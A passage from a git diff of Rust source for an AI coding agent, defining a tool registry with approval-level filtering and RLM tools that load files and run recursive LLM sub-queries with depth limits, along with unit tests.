ToolContext) -> Self { + Self { + tools: HashMap::new(), + context, + } + } + + /// Register a tool in the registry. + pub fn register(&mut self, tool: Arc) { + let name = tool.name().to_string(); + if self.tools.insert(name.clone(), tool).is_some() { + tracing::warn!("Overwriting existing tool: {}", name); + } + } + + /// Register multiple tools at once. + pub fn register_all(&mut self, tools: Vec>) { + for tool in tools { + self.register(tool); + } + } + + /// Get a tool by name. + #[must_use] + pub fn get(&self, name: &str) -> Option> { + self.tools.get(name).cloned() + } + + /// Check if a tool exists. + #[must_use] + pub fn contains(&self, name: &str) -> bool { + self.tools.contains_key(name) + } + + /// Check if a tool supports parallel execution. + #[must_use] + pub fn tool_supports_parallel(&self, name: &str) -> bool { + self.get(name) + .map(|tool| tool.supports_parallel()) + .unwrap_or(false) + } + + /// Get all registered tool names. + #[must_use] + pub fn names(&self) -> Vec<&str> { + self.tools.keys().map(std::string::String::as_str).collect() + } + + /// Get the number of registered tools. + #[must_use] + pub fn len(&self) -> usize { + self.tools.len() + } + + /// Check if the registry is empty. + #[must_use] + pub fn is_empty(&self) -> bool { + self.tools.is_empty() + } + + /// Get all registered tools. + #[must_use] + pub fn all(&self) -> Vec> { + self.tools.values().cloned().collect() + } + + /// Execute a tool by name with the given input. + pub async fn execute(&self, name: &str, input: Value) -> Result { + let tool = self + .get(name) + .ok_or_else(|| ToolError::not_available(format!("tool '{name}' is not registered")))?; + + let result = tool.execute(input, &self.context).await?; + Ok(result.content) + } + + /// Execute a tool by name, returning the full `ToolResult`. + pub async fn execute_full(&self, name: &str, input: Value) -> Result { + let tool = self + .get(name) + .ok_or_else(|| ToolError::not_available(format!("tool '{name}' is not registered")))?; + + tool.execute(input, &self.context).await + } + + /// Execute a tool with an optional context override. + /// + /// This is used for retrying tools with elevated sandbox policies. + pub async fn execute_full_with_context( + &self, + name: &str, + input: Value, + context_override: Option<&ToolContext>, + ) -> Result { + let tool = self + .get(name) + .ok_or_else(|| ToolError::not_available(format!("tool '{name}' is not registered")))?; + + let ctx = context_override.unwrap_or(&self.context); + tool.execute(input, ctx).await + } + + /// Get the current tool context. + #[must_use] + pub fn context(&self) -> &ToolContext { + &self.context + } + + /// Convert all tools to API Tool format for sending to the model. + #[must_use] + pub fn to_api_tools(&self) -> Vec { + self.tools + .values() + .map(|tool| Tool { + name: tool.name().to_string(), + description: tool.description().to_string(), + input_schema: tool.input_schema(), + cache_control: None, + }) + .collect() + } + + /// Convert tools to API Tool format with optional cache control on the last tool. + #[must_use] + pub fn to_api_tools_with_cache(&self, enable_cache: bool) -> Vec { + let mut tools = self.to_api_tools(); + if enable_cache && let Some(last) = tools.last_mut() { + last.cache_control = Some(crate::models::CacheControl { + cache_type: "ephemeral".to_string(), + }); + } + tools + } + + /// Filter tools by capability. + #[must_use] + pub fn filter_by_capability(&self, capability: ToolCapability) -> Vec> { + self.tools + .values() + .filter(|t| t.capabilities().contains(&capability)) + .cloned() + .collect() + } + + /// Get read-only tools (for Normal mode). + #[must_use] + pub fn read_only_tools(&self) -> Vec> { + self.tools + .values() + .filter(|t| t.is_read_only()) + .cloned() + .collect() + } + + /// Get tools that require approval. + #[must_use] + pub fn approval_required_tools(&self) -> Vec> { + self.tools + .values() + .filter(|t| t.approval_requirement() == ApprovalRequirement::Required) + .cloned() + .collect() + } + + /// Get tools that suggest approval. + #[must_use] + pub fn approval_suggested_tools(&self) -> Vec> { + self.tools + .values() + .filter(|t| { + matches!( + t.approval_requirement(), + ApprovalRequirement::Suggest | ApprovalRequirement::Required + ) + }) + .cloned() + .collect() + } + + /// Update the context (e.g., when workspace changes). + pub fn set_context(&mut self, context: ToolContext) { + self.context = context; + } + + /// Get a mutable reference to the current context. + #[must_use] + pub fn context_mut(&mut self) -> &mut ToolContext { + &mut self.context + } + + /// Remove a tool by name. + #[must_use] + pub fn remove(&mut self, name: &str) -> Option> { + self.tools.remove(name) + } + + /// Clear all tools from the registry. + pub fn clear(&mut self) { + self.tools.clear(); + } +} + +/// Builder for constructing a `ToolRegistry` with common tools. +pub struct ToolRegistryBuilder { + tools: Vec>, +} + +impl ToolRegistryBuilder { + /// Create a new builder. + #[must_use] + pub fn new() -> Self { + Self { tools: Vec::new() } + } + + /// Add a custom tool. + #[must_use] + pub fn with_tool(mut self, tool: Arc) -> Self { + self.tools.push(tool); + self + } + + /// Add multiple tools. + #[must_use] + pub fn with_tools(mut self, tools: Vec>) -> Self { + self.tools.extend(tools); + self + } + + /// Include file tools (read, write, edit, list). + #[must_use] + pub fn with_file_tools(self) -> Self { + use super::file::{EditFileTool, ListDirTool, ReadFileTool, WriteFileTool}; + self.with_tool(Arc::new(ReadFileTool)) + .with_tool(Arc::new(WriteFileTool)) + .with_tool(Arc::new(EditFileTool)) + .with_tool(Arc::new(ListDirTool)) + } + + /// Include only read-only file tools (read, list). + #[must_use] + pub fn with_read_only_file_tools(self) -> Self { + use super::file::{ListDirTool, ReadFileTool}; + self.with_tool(Arc::new(ReadFileTool)) + .with_tool(Arc::new(ListDirTool)) + } + + /// Include shell execution tool. + #[must_use] + pub fn with_shell_tools(self) -> Self { + use super::shell::ExecShellTool; + self.with_tool(Arc::new(ExecShellTool)) + } + + /// Include search tools (`grep_files`). + #[must_use] + pub fn with_search_tools(self) -> Self { + use super::search::GrepFilesTool; + self.with_tool(Arc::new(GrepFilesTool)) + } + + /// Include web search tools. + #[must_use] + pub fn with_web_tools(self) -> Self { + use super::web_search::WebSearchTool; + self.with_tool(Arc::new(WebSearchTool)) + } + + /// Include patch tools (`apply_patch`). + #[must_use] + pub fn with_patch_tools(self) -> Self { + use super::patch::ApplyPatchTool; + self.with_tool(Arc::new(ApplyPatchTool)) + } + + /// Include note tool. + #[must_use] + pub fn with_note_tool(self) -> Self { + use super::shell::NoteTool; + self.with_tool(Arc::new(NoteTool)) + } + + /// Include all agent tools (file tools + shell + note + search + patch). + #[must_use] + pub fn with_agent_tools(self, allow_shell: bool) -> Self { + let builder = self + .with_file_tools() + .with_note_tool() + .with_search_tools() + .with_web_tools() + .with_patch_tools(); + + if allow_shell { + builder.with_shell_tools() + } else { + builder + } + } + + /// Include the todo tool with a shared `TodoList`. + #[must_use] + pub fn with_todo_tool(self, todo_list: super::todo::SharedTodoList) -> Self { + use super::todo::{TodoAddTool, TodoListTool, TodoUpdateTool, TodoWriteTool}; + self.with_tool(Arc::new(TodoWriteTool::new(todo_list.clone()))) + .with_tool(Arc::new(TodoAddTool::new(todo_list.clone()))) + .with_tool(Arc::new(TodoUpdateTool::new(todo_list.clone()))) + .with_tool(Arc::new(TodoListTool::new(todo_list))) + } + + /// Include the plan tool with a shared `PlanState`. + #[must_use] + pub fn with_plan_tool(self, plan_state: super::plan::SharedPlanState) -> Self { + use super::plan::UpdatePlanTool; + self.with_tool(Arc::new(UpdatePlanTool::new(plan_state))) + } + + /// Include all agent tools plus todo and plan tools. + #[must_use] + pub fn with_full_agent_tools( + self, + allow_shell: bool, + todo_list: super::todo::SharedTodoList, + plan_state: super::plan::SharedPlanState, + ) -> Self { + self.with_agent_tools(allow_shell) + .with_todo_tool(todo_list) + .with_plan_tool(plan_state) + } + + /// Include RLM tools for context execution and sub-queries. + #[must_use] + pub fn with_rlm_tools( + self, + session: SharedRlmSession, + client: Option, + model: String, + ) -> Self { + self.with_tool(Arc::new(super::rlm::RlmExecTool::new(session.clone()))) + .with_tool(Arc::new(super::rlm::RlmLoadTool::new(session.clone()))) + .with_tool(Arc::new(super::rlm::RlmStatusTool::new(session.clone()))) + .with_tool(Arc::new(super::rlm::RlmQueryTool::new( + session, client, model, + ))) + } + + /// Include Duo tools for dialectical autocoding. + #[must_use] + pub fn with_duo_tools(self, session: SharedDuoSession) -> Self { + use super::duo::{DuoAdvanceTool, DuoCoachTool, DuoInitTool, DuoPlayerTool, DuoStatusTool}; + self.with_tool(Arc::new(DuoInitTool::new(session.clone()))) + .with_tool(Arc::new(DuoPlayerTool::new(session.clone()))) + .with_tool(Arc::new(DuoCoachTool::new(session.clone()))) + .with_tool(Arc::new(DuoAdvanceTool::new(session.clone()))) + .with_tool(Arc::new(DuoStatusTool::new(session))) + } + + /// Include sub-agent management tools. + #[must_use] + pub fn with_subagent_tools( + self, + manager: super::subagent::SharedSubAgentManager, + runtime: super::subagent::SubAgentRuntime, + ) -> Self { + use super::subagent::{AgentCancelTool, AgentListTool, AgentResultTool, AgentSpawnTool}; + + self.with_tool(Arc::new(AgentSpawnTool::new(manager.clone(), runtime))) + .with_tool(Arc::new(AgentResultTool::new(manager.clone()))) + .with_tool(Arc::new(AgentCancelTool::new(manager.clone()))) + .with_tool(Arc::new(AgentListTool::new(manager))) + } + + /// Build the registry with the given context. + #[must_use] + pub fn build(self, context: ToolContext) -> ToolRegistry { + let mut registry = ToolRegistry::new(context); + registry.register_all(self.tools); + registry + } +} + +impl Default for ToolRegistryBuilder { + fn default() -> Self { + Self::new() + } +} + +// === Unit Tests === + +#[cfg(test)] +mod tests { + use std::sync::Arc; + + use serde_json::{Value, json}; + use tempfile::tempdir; + + use crate::tools::ToolRegistryBuilder; + use crate::tools::spec::{ + ToolCapability, ToolContext, ToolError, ToolResult, ToolSpec, required_str, + }; + + use super::ToolRegistry; + + /// A simple test tool for unit testing + struct TestTool { + name: String, + description: String, + } + + #[async_trait::async_trait] + impl ToolSpec for TestTool { + fn name(&self) -> &str { + &self.name + } + + fn description(&self) -> &str { + &self.description + } + + fn input_schema(&self) -> Value { + json!({ + "type": "object", + "properties": { + "message": { "type": "string" } + }, + "required": ["message"] + }) + } + + fn capabilities(&self) -> Vec { + vec![ToolCapability::ReadOnly] + } + + async fn execute( + &self, + input: Value, + _context: &ToolContext, + ) -> Result { + let message = required_str(&input, "message")?; + Ok(ToolResult::success(format!("Echo: {message}"))) + } + } + + fn make_test_tool(name: &str) -> Arc { + Arc::new(TestTool { + name: name.to_string(), + description: "A test tool".to_string(), + }) + } + + #[test] + fn test_registry_register_and_get() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + let mut registry = ToolRegistry::new(ctx); + + let tool = make_test_tool("test_tool"); + registry.register(tool); + + assert!(registry.contains("test_tool")); + assert!(!registry.contains("nonexistent")); + assert_eq!(registry.len(), 1); + } + + #[test] + fn test_registry_names() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + let mut registry = ToolRegistry::new(ctx); + + registry.register(make_test_tool("tool_a")); + registry.register(make_test_tool("tool_b")); + + let names = registry.names(); + assert_eq!(names.len(), 2); + assert!(names.contains(&"tool_a")); + assert!(names.contains(&"tool_b")); + } + + #[test] + fn test_registry_to_api_tools() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + let mut registry = ToolRegistry::new(ctx); + + registry.register(make_test_tool("my_tool")); + + let api_tools = registry.to_api_tools(); + assert_eq!(api_tools.len(), 1); + assert_eq!(api_tools[0].name, "my_tool"); + assert_eq!(api_tools[0].description, "A test tool"); + } + + #[test] + fn test_registry_remove() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + let mut registry = ToolRegistry::new(ctx); + + registry.register(make_test_tool("removable")); + assert!(registry.contains("removable")); + + let _ = registry.remove("removable"); + assert!(!registry.contains("removable")); + } + + #[test] + fn test_registry_clear() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + let mut registry = ToolRegistry::new(ctx); + + registry.register(make_test_tool("tool1")); + registry.register(make_test_tool("tool2")); + assert_eq!(registry.len(), 2); + + registry.clear(); + assert!(registry.is_empty()); + } + + #[tokio::test] + async fn test_registry_execute() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + let mut registry = ToolRegistry::new(ctx); + + registry.register(make_test_tool("echo")); + + let result = registry + .execute("echo", json!({"message": "hello"})) + .await + .expect("execute"); + + assert_eq!(result, "Echo: hello"); + } + + #[tokio::test] + async fn test_registry_execute_unknown_tool() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + let registry = ToolRegistry::new(ctx); + + let result = registry.execute("nonexistent", json!({})).await; + assert!(result.is_err()); + } + + #[test] + fn test_builder_basic() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + + let registry = ToolRegistryBuilder::new() + .with_tool(make_test_tool("custom")) + .build(ctx); + + assert!(registry.contains("custom")); + } + + #[test] + fn test_filter_by_capability() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + let mut registry = ToolRegistry::new(ctx); + + registry.register(make_test_tool("readonly_tool")); + + let readonly = registry.filter_by_capability(ToolCapability::ReadOnly); + assert_eq!(readonly.len(), 1); + + let writes = registry.filter_by_capability(ToolCapability::WritesFiles); + assert_eq!(writes.len(), 0); + } + + #[test] + fn test_read_only_tools() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + let mut registry = ToolRegistry::new(ctx); + + registry.register(make_test_tool("reader")); + + let readonly = registry.read_only_tools(); + assert_eq!(readonly.len(), 1); + assert_eq!(readonly[0].name(), "reader"); + } +} diff --git a/src/tools/rlm.rs b/src/tools/rlm.rs new file mode 100644 index 00000000..b2f831e5 --- /dev/null +++ b/src/tools/rlm.rs @@ -0,0 +1,1047 @@ +//! Tools for RLM mode: evaluating expressions and issuing sub-queries. +//! +//! Implements recursive sub-queries per the RLM paper, with depth limiting +//! to prevent infinite recursion. + +use async_trait::async_trait; +use regex::Regex; +use serde_json::{Value, json}; + +use crate::client::DeepSeekClient; +use crate::llm_client::LlmClient; +use crate::models::{ContentBlock, Message, MessageRequest, SystemPrompt, Tool, Usage}; +use crate::rlm::{ + RlmContext, SharedRlmSession, context_id_from_path, eval_expr_mut, session_summary, + unique_context_id, +}; +use crate::tools::spec::{ + ApprovalRequirement, ToolCapability, ToolError, ToolResult, ToolSpec, optional_str, + optional_u64, required_str, +}; + +const DEFAULT_QUERY_MAX_TOKENS: u32 = 2048; +const MAX_QUERY_MAX_TOKENS: u32 = 8192; +const MAX_EXEC_OUTPUT_CHARS: usize = 12_000; +const MAX_QUERY_CHARS: usize = 400_000; +const DEFAULT_AUTO_CHUNK_MAX_CHARS: usize = 20_000; + +/// Maximum recursion depth for RLM sub-calls (per RLM paper) +const MAX_RECURSION_DEPTH: u32 = 3; +/// Maximum tool iterations within a single sub-call +const MAX_TOOL_ITERATIONS: u32 = 10; + +fn normalize_load_path(raw: &str) -> Result { + let trimmed = raw.trim(); + if trimmed.is_empty() { + return Err(ToolError::invalid_input("Path is required")); + } + + if let Some(stripped) = trimmed.strip_prefix('@') { + let stripped = stripped.trim(); + if stripped.is_empty() { + return Err(ToolError::invalid_input( + "Path is required after '@' prefix", + )); + } + let stripped = stripped.trim_start_matches(['/', '\\']); + if stripped.is_empty() { + return Err(ToolError::invalid_input( + "Path is required after '@' prefix", + )); + } + return Ok(stripped.to_string()); + } + + Ok(trimmed.to_string()) +} + +/// Execute an RLM expression against the current context. +pub struct RlmExecTool { + session: SharedRlmSession, +} + +impl RlmExecTool { + #[must_use] + pub fn new(session: SharedRlmSession) -> Self { + Self { session } + } +} + +#[async_trait] +impl ToolSpec for RlmExecTool { + fn name(&self) -> &'static str { + "rlm_exec" + } + + fn description(&self) -> &'static str { + "Execute an RLM expression against the current context. Supports: len, line_count, lines(), search(), chunk(), chunk_sections(), chunk_lines(), chunk_auto(), vars/get/set/append/del." + } + + fn input_schema(&self) -> Value { + json!({ + "type": "object", + "properties": { + "code": { + "type": "string", + "description": "RLM expression(s) to evaluate" + }, + "context_id": { + "type": "string", + "description": "Optional context id (defaults to active context)" + } + }, + "required": ["code"] + }) + } + + fn capabilities(&self) -> Vec { + vec![ToolCapability::ReadOnly] + } + + fn approval_requirement(&self) -> ApprovalRequirement { + ApprovalRequirement::Auto + } + + async fn execute( + &self, + input: Value, + _context: &crate::tools::spec::ToolContext, + ) -> Result { + let code = required_str(&input, "code")?; + let context_id = optional_str(&input, "context_id").map(str::to_string); + + let mut session = self + .session + .lock() + .map_err(|_| ToolError::execution_failed("Failed to lock RLM session"))?; + + let ctx_id = context_id.unwrap_or_else(|| session.active_context.clone()); + let ctx = session + .get_context_mut(&ctx_id) + .ok_or_else(|| ToolError::invalid_input(format!("Context '{ctx_id}' not loaded")))?; + + let output = + eval_script_mut(ctx, code).map_err(|e| ToolError::execution_failed(e.to_string()))?; + + let truncated = if output.len() > MAX_EXEC_OUTPUT_CHARS { + let snippet = truncate_to_boundary(&output, MAX_EXEC_OUTPUT_CHARS); + format!( + "{}\n\n[output truncated to {} chars]", + snippet, MAX_EXEC_OUTPUT_CHARS + ) + } else { + output + }; + + Ok(ToolResult::success(truncated)) + } +} + +/// Load a file into the shared RLM session. +pub struct RlmLoadTool { + session: SharedRlmSession, +} + +impl RlmLoadTool { + #[must_use] + pub fn new(session: SharedRlmSession) -> Self { + Self { session } + } +} + +#[async_trait] +impl ToolSpec for RlmLoadTool { + fn name(&self) -> &'static str { + "rlm_load" + } + + fn description(&self) -> &'static str { + "Load a file into the RLM context store. Returns the context_id and stats. Use @path for workspace-relative loads." + } + + fn input_schema(&self) -> Value { + json!({ + "type": "object", + "properties": { + "path": { + "type": "string", + "description": "Path to the file to load (prefix with @ for workspace-relative paths)" + }, + "context_id": { + "type": "string", + "description": "Optional context id to reuse (defaults to filename)" + } + }, + "required": ["path"] + }) + } + + fn capabilities(&self) -> Vec { + vec![ToolCapability::ReadOnly] + } + + fn approval_requirement(&self) -> ApprovalRequirement { + ApprovalRequirement::Auto + } + + async fn execute( + &self, + input: Value, + context: &crate::tools::spec::ToolContext, + ) -> Result { + let path = required_str(&input, "path")?; + let normalized = normalize_load_path(path)?; + let context_id = optional_str(&input, "context_id").map(str::to_string); + + let resolved = context.resolve_path(&normalized)?; + let mut session = self + .session + .lock() + .map_err(|_| ToolError::execution_failed("Failed to lock RLM session"))?; + + let base_id = context_id.unwrap_or_else(|| context_id_from_path(&resolved)); + let id = if session.contexts.contains_key(&base_id) { + base_id.clone() + } else { + unique_context_id(&session, &base_id) + }; + + let (line_count, char_count) = session + .load_file(&id, &resolved) + .map_err(|e| ToolError::execution_failed(e.to_string()))?; + + let mut result = ToolResult::success(format!( + "Loaded {} as '{}' ({} lines, {} chars)", + resolved.display(), + id, + line_count, + char_count + )); + result.metadata = Some(json!({ + "context_id": id, + "line_count": line_count, + "char_count": char_count, + "source_path": resolved.to_string_lossy(), + })); + Ok(result) + } +} + +/// Summarize RLM session state. +pub struct RlmStatusTool { + session: SharedRlmSession, +} + +impl RlmStatusTool { + #[must_use] + pub fn new(session: SharedRlmSession) -> Self { + Self { session } + } +} + +#[async_trait] +impl ToolSpec for RlmStatusTool { + fn name(&self) -> &'static str { + "rlm_status" + } + + fn description(&self) -> &'static str { + "Show RLM session status (contexts, usage, variables)." + } + + fn input_schema(&self) -> Value { + json!({ + "type": "object", + "properties": {} + }) + } + + fn capabilities(&self) -> Vec { + vec![ToolCapability::ReadOnly] + } + + fn approval_requirement(&self) -> ApprovalRequirement { + ApprovalRequirement::Auto + } + + async fn execute( + &self, + _input: Value, + _context: &crate::tools::spec::ToolContext, + ) -> Result { + let session = self + .session + .lock() + .map_err(|_| ToolError::execution_failed("Failed to lock RLM session"))?; + Ok(ToolResult::success(session_summary(&session))) + } +} + +/// Execute a sub-query against a chunk of the active context. +/// Supports recursive sub-calls per the RLM paper with depth limiting. +pub struct RlmQueryTool { + session: SharedRlmSession, + client: Option, + model: String, + current_depth: u32, +} + +impl RlmQueryTool { + #[must_use] + pub fn new(session: SharedRlmSession, client: Option, model: String) -> Self { + Self { + session, + client, + model, + current_depth: 0, + } + } + + /// Create a sub-query tool at increased depth for recursive calls + fn with_depth(&self, depth: u32) -> Self { + Self { + session: self.session.clone(), + client: self.client.clone(), + model: self.model.clone(), + current_depth: depth, + } + } + + /// Check if recursive sub-calls are allowed at current depth + fn can_recurse(&self) -> bool { + self.current_depth < MAX_RECURSION_DEPTH + } +} + +#[async_trait] +impl ToolSpec for RlmQueryTool { + fn name(&self) -> &'static str { + "rlm_query" + } + + fn description(&self) -> &'static str { + "Run a focused LLM query over a context slice. Provide line/char range or chunk index; use batch for multiple queries or auto_chunks for chunk_auto batching." + } + + fn input_schema(&self) -> Value { + json!({ + "type": "object", + "properties": { + "query": { "type": "string", "description": "Question to answer about the chunk" }, + "context_id": { "type": "string", "description": "Optional context id (defaults to active context)" }, + "chunk_index": { "type": "integer", "description": "Chunk index from chunk() output" }, + "chunk_size": { "type": "integer", "description": "Chunk size (default: 2000)" }, + "overlap": { "type": "integer", "description": "Chunk overlap (default: 200)" }, + "line_start": { "type": "integer", "description": "Start line (1-based)" }, + "line_end": { "type": "integer", "description": "End line (1-based)" }, + "char_start": { "type": "integer", "description": "Start char offset" }, + "char_end": { "type": "integer", "description": "End char offset" }, + "section_index": { "type": "integer", "description": "Section index from chunk_sections()" }, + "section_size": { "type": "integer", "description": "Section chunk size (default: 20000)" }, + "mode": { "type": "string", "description": "analysis (default) or verify" }, + "store_as": { "type": "string", "description": "Store the FINAL answer in a variable" }, + "max_tokens": { "type": "integer", "description": "Override max tokens for the sub-call" }, + "auto_chunks": { + "type": "boolean", + "description": "Use chunk_auto and run the same query for each chunk" + }, + "auto_max_chars": { + "type": "integer", + "description": "Max chars per auto chunk (default: 20000)" + }, + "auto_max_chunks": { + "type": "integer", + "description": "Optional limit on auto chunk count" + }, + "batch": { + "type": "array", + "description": "Batch multiple queries into a single call", + "items": { + "type": "object", + "properties": { + "query": { "type": "string" }, + "context_id": { "type": "string" }, + "chunk_index": { "type": "integer" }, + "chunk_size": { "type": "integer" }, + "overlap": { "type": "integer" }, + "line_start": { "type": "integer" }, + "line_end": { "type": "integer" }, + "char_start": { "type": "integer" }, + "char_end": { "type": "integer" }, + "section_index": { "type": "integer" }, + "section_size": { "type": "integer" } + }, + "required": ["query"] + } + } + } + }) + } + + fn capabilities(&self) -> Vec { + vec![ToolCapability::Network, ToolCapability::RequiresApproval] + } + + fn approval_requirement(&self) -> ApprovalRequirement { + ApprovalRequirement::Suggest + } + + async fn execute( + &self, + input: Value, + _context: &crate::tools::spec::ToolContext, + ) -> Result { + let Some(client) = self.client.clone() else { + return Err(ToolError::not_available("RLM query requires an API client")); + }; + + let auto_chunks = input + .get("auto_chunks") + .and_then(|v| v.as_bool()) + .unwrap_or(false); + let batch_items = input.get("batch").and_then(|v| v.as_array()); + if auto_chunks && batch_items.is_some() { + return Err(ToolError::invalid_input( + "auto_chunks cannot be combined with batch queries".to_string(), + )); + } + let query = if auto_chunks || batch_items.is_none() { + required_str(&input, "query")?.to_string() + } else { + optional_str(&input, "query").unwrap_or("").to_string() + }; + let context_id = optional_str(&input, "context_id").map(str::to_string); + let mode = optional_str(&input, "mode").unwrap_or("analysis"); + let store_as = optional_str(&input, "store_as").map(str::to_string); + let default_max = default_query_max_tokens(&self.model); + let max_tokens = optional_u64(&input, "max_tokens", u64::from(default_max)) + .clamp(256, u64::from(MAX_QUERY_MAX_TOKENS)) as u32; + let (prompt, used_context_id, batch_count) = if auto_chunks { + let max_chars = optional_u64( + &input, + "auto_max_chars", + DEFAULT_AUTO_CHUNK_MAX_CHARS as u64, + ) as usize; + let max_chunks = optional_u64(&input, "auto_max_chunks", 0) as usize; + let (chunks, ctx_id) = self.extract_auto_chunks(context_id.as_deref(), max_chars)?; + if chunks.is_empty() { + return Err(ToolError::invalid_input( + "No chunks available for auto_chunks".to_string(), + )); + } + if max_chunks > 0 && chunks.len() > max_chunks { + return Err(ToolError::invalid_input(format!( + "auto_chunks produced {} chunks; reduce input or set auto_max_chunks", + chunks.len() + ))); + } + let mut queries = Vec::new(); + let mut total_len = 0usize; + for (idx, chunk) in chunks.iter().enumerate() { + let task = format!( + "TASK {}:\nContext:\n{}\n\nQuestion:\n{}\n", + idx + 1, + chunk, + query + ); + total_len = total_len.saturating_add(task.len()); + if total_len > MAX_QUERY_CHARS { + return Err(ToolError::invalid_input( + "auto_chunks payload too large; lower auto_max_chars or use manual batching" + .to_string(), + )); + } + queries.push(task); + } + ( + format!( + "{}\n\n{}", + rlm_subcall_prompt(mode, true), + queries.join("\n") + ), + ctx_id, + queries.len(), + ) + } else if let Some(items) = batch_items { + if items.is_empty() { + return Err(ToolError::invalid_input( + "Batch must include at least one query".to_string(), + )); + } + let mut queries = Vec::new(); + let mut context_for_batch = context_id.clone(); + for (idx, item) in items.iter().enumerate() { + let item_query = item + .get("query") + .and_then(|v| v.as_str()) + .unwrap_or_default(); + let (chunk, ctx_id) = self.extract_chunk(item, context_for_batch.as_deref())?; + context_for_batch = Some(ctx_id.clone()); + queries.push(format!( + "TASK {}:\nContext:\n{}\n\nQuestion:\n{}\n", + idx + 1, + chunk, + item_query + )); + } + ( + format!( + "{}\n\n{}", + rlm_subcall_prompt(mode, true), + queries.join("\n") + ), + context_for_batch.unwrap_or_else(|| "active".to_string()), + items.len(), + ) + } else { + let (chunk, ctx_id) = self.extract_chunk(&input, context_id.as_deref())?; + ( + format!( + "{}\n\nContext:\n{}\n\nQuestion:\n{}\n", + rlm_subcall_prompt(mode, false), + chunk, + query + ), + ctx_id, + 1, + ) + }; + + if prompt.len() > MAX_QUERY_CHARS { + return Err(ToolError::invalid_input(format!( + "RLM query payload is too large ({} chars). Use smaller chunks or batch less.", + prompt.len() + ))); + } + + // Build tools for recursive sub-calls if depth allows (per RLM paper) + let tools = if self.can_recurse() { + Some(build_rlm_tools_for_subcall()) + } else { + None + }; + + let mut messages = vec![Message { + role: "user".to_string(), + content: vec![ContentBlock::Text { + text: prompt.clone(), + cache_control: None, + }], + }]; + + let mut total_input_tokens = 0u32; + let mut total_output_tokens = 0u32; + let mut iterations = 0u32; + let final_response_text; + + // Agentic loop: handle tool calls recursively + loop { + iterations += 1; + if iterations > MAX_TOOL_ITERATIONS { + return Err(ToolError::execution_failed( + "RLM sub-call exceeded maximum tool iterations", + )); + } + + let request = MessageRequest { + model: self.model.clone(), + messages: messages.clone(), + max_tokens, + system: Some(SystemPrompt::Text(rlm_subcall_system_prompt( + mode, + self.can_recurse(), + ))), + tools: tools.clone(), + tool_choice: None, + metadata: None, + thinking: None, + stream: Some(false), + temperature: None, + top_p: None, + }; + + let response = client + .create_message(request) + .await + .map_err(|e| ToolError::execution_failed(format!("RLM query failed: {e}")))?; + + total_input_tokens += response.usage.input_tokens; + total_output_tokens += response.usage.output_tokens; + + // Check for tool use in response + let tool_uses: Vec<_> = response + .content + .iter() + .filter_map(|block| { + if let ContentBlock::ToolUse { id, name, input } = block { + Some((id.clone(), name.clone(), input.clone())) + } else { + None + } + }) + .collect(); + + if tool_uses.is_empty() { + // No tool calls - extract final response + final_response_text = extract_text(&response.content); + break; + } + + // Execute tool calls and continue conversation + let mut tool_results = Vec::new(); + for (tool_id, tool_name, tool_input) in tool_uses { + let result = self + .execute_recursive_tool(&tool_name, &tool_input, &used_context_id) + .await; + let result_text = match result { + Ok(text) => text, + Err(e) => format!("Error: {e}"), + }; + tool_results.push(ContentBlock::ToolResult { + tool_use_id: tool_id, + content: result_text, + }); + } + + // Add assistant response and tool results to conversation + messages.push(Message { + role: "assistant".to_string(), + content: response.content.clone(), + }); + messages.push(Message { + role: "user".to_string(), + content: tool_results, + }); + } + + self.record_usage( + &used_context_id, + &Usage { + input_tokens: total_input_tokens, + output_tokens: total_output_tokens, + }, + prompt.len(), + final_response_text.len(), + &final_response_text, + store_as, + ); + + let mut result = ToolResult::success(final_response_text); + result.metadata = Some(json!({ + "context_id": used_context_id, + "batch_count": batch_count, + "input_tokens": total_input_tokens, + "output_tokens": total_output_tokens, + "depth": self.current_depth, + "iterations": iterations, + })); + Ok(result) + } +} + +fn eval_script_mut(ctx: &mut RlmContext, code: &str) -> anyhow::Result { + let mut outputs = Vec::new(); + for line in code.lines() { + let trimmed = line.trim(); + if trimmed.is_empty() { + continue; + } + let result = eval_expr_mut(ctx, trimmed)?; + if !result.trim().is_empty() { + outputs.push(result); + } + } + Ok(outputs.join("\n")) +} + +impl RlmQueryTool { + fn extract_chunk( + &self, + input: &Value, + fallback_context_id: Option<&str>, + ) -> Result<(String, String), ToolError> { + let session = self + .session + .lock() + .map_err(|_| ToolError::execution_failed("Failed to lock RLM session"))?; + + let ctx_id = input + .get("context_id") + .and_then(|v| v.as_str()) + .or(fallback_context_id) + .unwrap_or_else(|| session.active_context.as_str()) + .to_string(); + + let ctx = session + .get_context(&ctx_id) + .ok_or_else(|| ToolError::invalid_input(format!("Context '{ctx_id}' not loaded")))?; + + let chunk = if let Some(text) = input.get("text").and_then(|v| v.as_str()) { + text.to_string() + } else if let Some(section_index) = input.get("section_index").and_then(|v| v.as_u64()) { + let section_size = input + .get("section_size") + .and_then(|v| v.as_u64()) + .unwrap_or(20_000) as usize; + let sections = ctx.chunk_sections(section_size); + let idx = usize::try_from(section_index).unwrap_or(0); + let section = sections.get(idx).ok_or_else(|| { + ToolError::invalid_input(format!("Section index {idx} out of range")) + })?; + ctx.peek(section.start_char, Some(section.end_char)) + .to_string() + } else if let Some(chunk_index) = input.get("chunk_index").and_then(|v| v.as_u64()) { + let chunk_size = input + .get("chunk_size") + .and_then(|v| v.as_u64()) + .unwrap_or(2000) as usize; + let overlap = input.get("overlap").and_then(|v| v.as_u64()).unwrap_or(200) as usize; + let chunks = ctx.chunk(chunk_size, overlap); + let idx = usize::try_from(chunk_index).unwrap_or(0); + let chunk = chunks.get(idx).ok_or_else(|| { + ToolError::invalid_input(format!("Chunk index {idx} out of range")) + })?; + ctx.peek(chunk.start_char, 